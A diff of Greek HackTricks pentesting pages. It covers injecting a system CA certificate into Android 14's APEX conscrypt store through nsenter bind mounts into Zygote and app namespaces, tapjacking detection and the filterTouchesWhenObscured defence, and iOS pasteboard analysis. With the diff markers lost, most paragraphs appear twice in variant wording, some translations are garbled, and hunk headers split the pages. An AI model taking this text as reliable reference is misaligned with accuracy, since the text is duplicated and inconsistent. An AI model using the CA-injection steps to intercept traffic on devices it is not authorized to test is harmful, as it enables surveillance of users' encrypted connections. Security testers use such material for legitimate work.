Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών Αρχής Πιστοποίησης (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ρίζας, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη από φύσης.
Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποστασιότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αντιμετωπίζονται με αποτυχία, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποσπαστότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Η εκκίνηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την έναρξη του λειτουργικού συστήματος, εκκινά επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο χώρο προσάρτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτό τον κατάλογο από άλλες διεργασίες.
Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν κρασαρίσματα του συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση.
Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν κραδασμοί του συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεκτική κατάσταση.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -146,23 +146,23 @@ echo "System certificate injected"
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Προετοιμασία Πιστοποιητικών CA**: Ακολουθώντας τη διαδικασία εγκατάστασης του εγγράψιμου καταλόγου, τα πιστοποιητικά CA που προτίθεται κάποιος να χρησιμοποιήσει πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από `/apex/com.android.conscrypt/cacerts/`. Είναι ουσιώδες να προσαρμοστούν αναλόγως οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών.
3. **Δέσμευση Προσάρτησης για το Zygote**: Χρησιμοποιώντας το `nsenter`, μπαίνει κανείς στο χώρο προσάρτησης του Zygote. Ο Zygote, ως η διαδικασία υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλίσει ότι όλες οι εφαρμογές που εκκινούνται εν συνεχεία χρησιμοποιούν τα νεότερα διαμορφωμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
3. **Σύνδεση Προσάρτησης για το Zygote**: Χρησιμοποιώντας το `nsenter`, μπαίνουμε στο namespace προσάρτησης του Zygote. Το Zygote, ως η διαδικασία υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλίσει ότι όλες οι εφαρμογές που εκκινούνται στη συνέχεια χρησιμοποιούν τα νεότερα ρυθμισμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Αυτό εξασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινά θα συμμορφώνεται με την ενημερωμένη ρύθμιση των πιστοποιητικών CA.
Αυτό εξασφαλίζει ότι κάθε νέα εφαρμογή που ξεκινά θα τηρεί την ενημερωμένη ρύθμιση πιστοποιητικών CA.
4. **Εφαρμογή Αλλαγών σε Εκτελούμενες Εφαρμογές**: Για να εφαρμόσετε τις αλλαγές σε ήδη εκτελούμενες εφαρμογές, το `nsenter` χρησιμοποιείται ξανά για να εισέλθετε στο namespace κάθε εφαρμογής ξεχωριστά και να εκτελέσετε ένα παρόμοιο bind mount. Η απαραίτητη εντολή είναι:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταδώσει τις αλλαγές σε όλους τους namespaces, αποφεύγοντας την ανάγκη να αντιμετωπιστεί καθένα από τα εκτελούμενα apps ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης.
5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταφέρει τις αλλαγές σε όλους τους namespaces, αποφεύγοντας την ανάγκη να αντιμετωπιστεί καθένα από τα εκτελούμενα apps ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης.
## Αναφορές
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -175,7 +175,7 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -6,42 +6,42 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Βασικές Πληροφορίες**
**Το Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται επάνω σε μια εφαρμογή θύμα**. Μόλις αποκρύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της σχεδιάζεται με τέτοιο τρόπο ώστε να εξαπατήσει τον χρήστη να αλληλεπιδρά μαζί της, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
Ουσιαστικά, **τυφλώνει τον χρήστη από το να γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**.
**Το Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις αποκρύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της σχεδιάζεται με τέτοιο τρόπο ώστε να εξαπατήσει τον χρήστη να αλληλεπιδρά μαζί της, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
Κατά κύριο λόγο, **τυφλώνει τον χρήστη από το να γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**.
### Ανίχνευση
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**.
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό οφείλεται στο γεγονός ότι η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**.
### Προστασία
#### Android 12 (API 31,32) και νεότερες εκδόσεις
[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και νεότερες εκδόσεις. Έτσι, ακόμη κι αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορέσετε να την εκμεταλλευτείτε**.
[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και νεότερες εκδόσεις. Έτσι, ακόμη κι αν η εφαρμογή είναι ευάλωτη δεν **θα μπορείτε να την εκμεταλλευτείτε**.
#### `filterTouchesWhenObscured`
Εάν το **`android:filterTouchesWhenObscured`** έχει οριστεί σε **`true`**, το `View` δεν θα λαμβάνει αφήσεις όταν το παράθυρο της προβολής είναι αποκρυμμένο από ένα άλλο ορατό παράθυρο.
Εάν το **`android:filterTouchesWhenObscured`** έχει οριστεί σε **`true`**, το `View` δεν θα λαμβάνει αφήσεις όταν το παράθυρο της προβολής είναι εμποδισμένο από άλλο ορατό παράθυρο.
#### **`setFilterTouchesWhenObscured`**
Η ιδιότητα **`setFilterTouchesWhenObscured`** ορισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι χαμηλότερη.\
Εάν οριστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν είναι αποκρυμμένο**.
Η ιδιότητα **`setFilterTouchesWhenObscured`** που έχει οριστεί σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι χαμηλότερη.\
Εάν οριστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα αν είναι εμποδισμένο:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -70,12 +70,12 @@ android:filterTouchesWhenObscured="true">
Μπορείτε να χρησιμοποιήσετε το [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε πιθανές ευπάθειες **Tapjacking**.\
Η αντιμετώπιση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει αφήσεις όταν ένα προβολή καλύπτεται από άλλη. Χρησιμοποιώντας το [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
Η αντιμετώπιση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει τα αισθητήρια αφής όταν ένα προβάλλεται από άλλο. Χρησιμοποιώντας το [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
> Μερικές φορές είναι απαραίτητο να μπορεί μια εφαρμογή να επιβεβαιώσει ότι μια ενέργεια πραγματοποιείται με την πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση μιας άδειας, η πραγματοποίηση μιας αγοράς ή η κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να απομυθοποιήσει τον χρήστη να πραγματοποιήσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, κρύβοντας το πραγματικό σκοπό της προβολής. Ως αντίδραση, το πλαίσιο προσφέρει ένα μηχανισμό φιλτραρίσματος αφήσεων που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητες λειτουργίες.
> Μερικές φορές είναι απαραίτητο να μπορεί μια εφαρμογή να επιβεβαιώσει ότι μια ενέργεια πραγματοποιείται με την πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση μιας άδειας, η πραγματοποίηση μιας αγοράς ή η κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να απομυθοποιήσει τον χρήστη να πραγματοποιήσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, κρύβοντας το πραγματικό σκοπό της προβολής. Ως αντίδραση, το πλαίσιο προσφέρει ένα μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για τη βελτίωση της ασφάλειας των προβολών που παρέχουν πρόσβαση σε ευαίσθητες λειτουργίες.
>
> Για να ενεργοποιήσετε το φιλτράρισμα αφήσεων, καλέστε τη μέθοδο [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε το χαρακτηριστικό διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφήσεις που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από ένα άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφήσεις όταν εμφανίζεται ένα toast, ένα παράθυρο διαλόγου ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
> Για να ενεργοποιήσετε το φιλτράρισμα αφής, καλέστε τη μέθοδο [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε το χαρακτηριστικό διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφήσεις που λαμβάνονται όποτε το παράθυρο της προβολής είναι κρυμμένο από ένα άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφήσεις όταν ένα toast, ένα παράθυρο διαλόγου ή άλλο παράθυρο εμφανίζεται πάνω από το παράθυρο της προβολής.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Κόκκινης Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -20,15 +20,15 @@
Η κοινοποίηση δεδομένων εντός και ανάμεσα σε εφαρμογές σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος διαιρείται σε δύο κύριες κατηγορίες:
- **Γενικός πίνακας αντιγραφής σε επίπεδο συστήματος**: Χρησιμοποιείται για την κοινοποίηση δεδομένων με **οποιαδήποτε εφαρμογή** και σχεδιάστηκε για να διατηρεί δεδομένα μεταξύ επανεκκινήσεων συσκευής και απεγκαταστάσεων εφαρμογών, μια λειτουργία που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένοι / Ονομασμένοι πίνακες αντιγραφής**: Αυτοί είναι ειδικά για την κοινοποίηση δεδομένων **εντός μιας εφαρμογής ή με μια άλλη εφαρμογή** που μοιράζεται τον ίδιο αναγνωριστικό ομάδας και δεν σχεδιάστηκαν να διατηρούνται πέρα ​​από τη διάρκεια ζωής της διαδικασίας εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
- **Προσαρμοσμένοι / Ονομασμένοι πίνακες αντιγραφής**: Αυτοί είναι ειδικά για την κοινοποίηση δεδομένων **εντός μιας εφαρμογής ή με μια άλλη εφαρμογή** που μοιράζεται το ίδιο αναγνωριστικό ομάδας και δεν σχεδιάστηκαν να διατηρούνται πέρα ​​από τη διάρκεια ζωής της διαδικασίας εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
Οι **σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των πινάκων αντιγραφής. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες των εφαρμογών για πρόσβαση στον **πίνακα αντιγραφής**.
- Για να μειώσουν τον κίνδυνο μη εξουσιοδοτημένης παρακολούθησης του πίνακα αντιγραφής, η πρόσβαση περιορίζεται όταν η εφαρμογή βρίσκεται στο προσκήνιο (από το iOS 9 και μετά).
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες εφαρμογών για πρόσβαση στον **πίνακα αντιγραφής**.
- Για να μειώσουν τον κίνδυνο μη εξουσιοδοτημένης παρακολούθησης του πίνακα αντιγραφής, η πρόσβαση περιορίζεται όταν η εφαρμογή βρίσκεται στο προσκήνιο (από το iOS 9).
- Η χρήση μόνιμων ονομασμένων πινάκων αντιγραφής αποτρέπεται υπέρ των κοινών δοχείων λόγω ανησυχιών απορρήτου.
- Η δυνατότητα **Κοινού Προσωπικού** που εισήχθηκε με το iOS 10, επιτρέποντας την κοινοποίηση περιεχομένου σε διαφορετικές συσκευές μέσω του γενικού πίνακα αντιγραφής, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν τη λήξη των δεδομένων και να απενεργοποιήσουν την αυτόματη μεταφορά περιεχομένου.
- Η λειτουργία **Κοινού Προσωπικού Χώρου** που εισήχθη με το iOS 10, επιτρέποντας την κοινοποίηση περιεχομένου σε συσκευές μέσω του γενικού πίνακα αντιγραφής, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν λήξη δεδομένων και να απενεργοποιήσουν την αυτόματη μεταφορά περιεχομένου.
Είναι ζωτικής σημασίας να διασφαλιστεί ότι τα **ευαίσθητα δεδομένα δεν αποθηκεύονται κατά λάθος** στον γενικό πίνακα αντιγραφής. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιαστούν έτσι ώστε να αποτρέπουν την κατάχρηση των δεδομένων του γενικού πίνακα αντιγραφής για μη επιθυμητες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να υλοποιήσουν μέτρα για την αποτροπή της αντιγραφής ευαίσθητων πληροφοριών στο πρόχειρο.
Είναι κρίσιμο να διασφαλιστεί ότι τα **ευαίσθητα δεδομένα δεν αποθηκεύονται κατά λάθος** στον γενικό πίνακα αντιγραφής. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιαστούν έτσι ώστε να αποτρέπουν την κατάχρηση των δεδομένων του γενικού πίνακα αντιγραφής για μη επιθυμητες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να υλοποιήσουν μέτρα για να αποτρέψουν την αντιγραφή ευαίσθητων πληροφοριών στο πρόχειρο.
### Στατική Ανάλυση
@ -38,19 +38,19 @@
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει τον άγκιστρο ή την παρακολούθηση συγκεκριμένων μεθόδων:
Η δυναμική ανάλυση περιλαμβάνει το hooking ή τον ιχνηλάτη συγκεκριμένων μεθόδων:
- Παρακολούθηση του `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
- Παρακολούθηση των `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολούθηση των κλήσεων μεθόδου `setPersistent:` που έχουν αποσυρθεί για έλεγχο των ρυθμίσεων διατήρησης.
- Ιχνηλάτηση των `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολούθηση των κλήσεων μεθόδων `setPersistent:` που έχουν αποσυρθεί για έλεγχο των ρυθμίσεων διατήρησης.
Βασικές λεπτομέρειες προς παρακολούθηση περιλαμβάνουν:
- **Ονόματα πινάκων αντιγραφής** και **περιεχόμενο** (για παράδειγμα, έλεγχος για συμβολοσειρές, διευθύνσεις URL, εικόνες).
Κύριες λεπτομέρειες προς παρακολούθηση περιλαμβάνουν:
- **Ονόματα πινάκων αντιγραφής** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, διευθύνσεις URL, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, εκμεταλλευόμενοι ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
- **Επιλογές λήξης και τοπικής μόνο** με την επιθεώρηση της μεθόδου `setItems:options:`.
- **Επιλογές λήξης και τοπικής μόνο** με επιθεώρηση της μεθόδου `setItems:options:`.
